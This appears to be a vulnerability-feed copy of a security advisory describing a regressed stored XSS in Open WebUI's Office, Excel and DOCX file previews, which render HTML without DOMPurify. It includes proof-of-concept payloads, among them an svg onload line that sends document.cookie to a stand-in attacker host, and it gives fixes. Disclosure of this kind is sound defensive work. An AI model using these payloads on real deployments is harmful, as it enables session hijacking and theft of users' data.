Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-2731
No affected components available
Related advisory
This advisory tracks a regression of the original Excel-preview XSS that was
publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc
(patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output
rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime
after v0.8.0 and is exploitable again as of v0.8.12 and through the version
range listed above. This advisory additionally covers the related
fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte
(lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Summary
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
Root Cause
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
Occurrence 1: FilePreview.svelte — Office HTML
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
{:else if fileOfficeHtml !== null}
<div class="office-preview overflow-auto flex-1 min-h-0">
{@html fileOfficeHtml} <!-- NO DOMPurify! -->
</div>
fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
Occurrence 2: FileItemModal.svelte — Excel HTML
File: src/lib/components/common/FileItemModal.svelte line 560
{@html excelHtml} <!-- NO DOMPurify! -->
excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Occurrence 3: FileItemModal.svelte — DOCX HTML
File: src/lib/components/common/FileItemModal.svelte line 590
{@html docxHtml} <!-- NO DOMPurify! -->
docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
Contrast with Sanitized Paths
For comparison, the same codebase correctly sanitizes in other locations:
<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}
<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}
<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}
Defense Propagation Gap
| Metric | Value |
|--------|-------|
| Total {@html} usages | 23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.
Tested Version
- Open WebUI v0.8.12 (commit
9bd8425, tagv0.8.12)
Steps to Reproduce
PoC 1: Malicious Excel File
-
Create a
.xlsxfile with a cell containing:<img src=x onerror="alert(document.cookie)">(Using a library like openpyxl to inject raw HTML into cell values)
-
Upload the file to Open WebUI via the chat file upload
-
When any user previews the file →
excelHtmlrenders the injected HTML → XSS fires
PoC 2: Malicious DOCX File
-
Create a
.docxfile with embedded HTML:<w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> -
Upload to Open WebUI
-
File preview renders
docxHtml→ XSS fires
PoC 3: Verify Rendering Path
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
// FileItemModal → {@html excelHtml} // no DOMPurify
// FileItemModal → {@html docxHtml} // no DOMPurify
// FilePreview → {@html fileOfficeHtml} // no DOMPurify
// Compare with safe path:
// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!
Impact
- Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
- Session hijacking via
document.cookietheft - Account takeover — attacker can perform actions as the victim user
- Data exfiltration — read chat history, API keys, uploaded documents
- Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
- Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths
Suggested Remediation
Apply DOMPurify to all three file preview paths:
<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}
<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}
<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}
Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
- OWASP XSS Prevention Cheat Sheet
- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard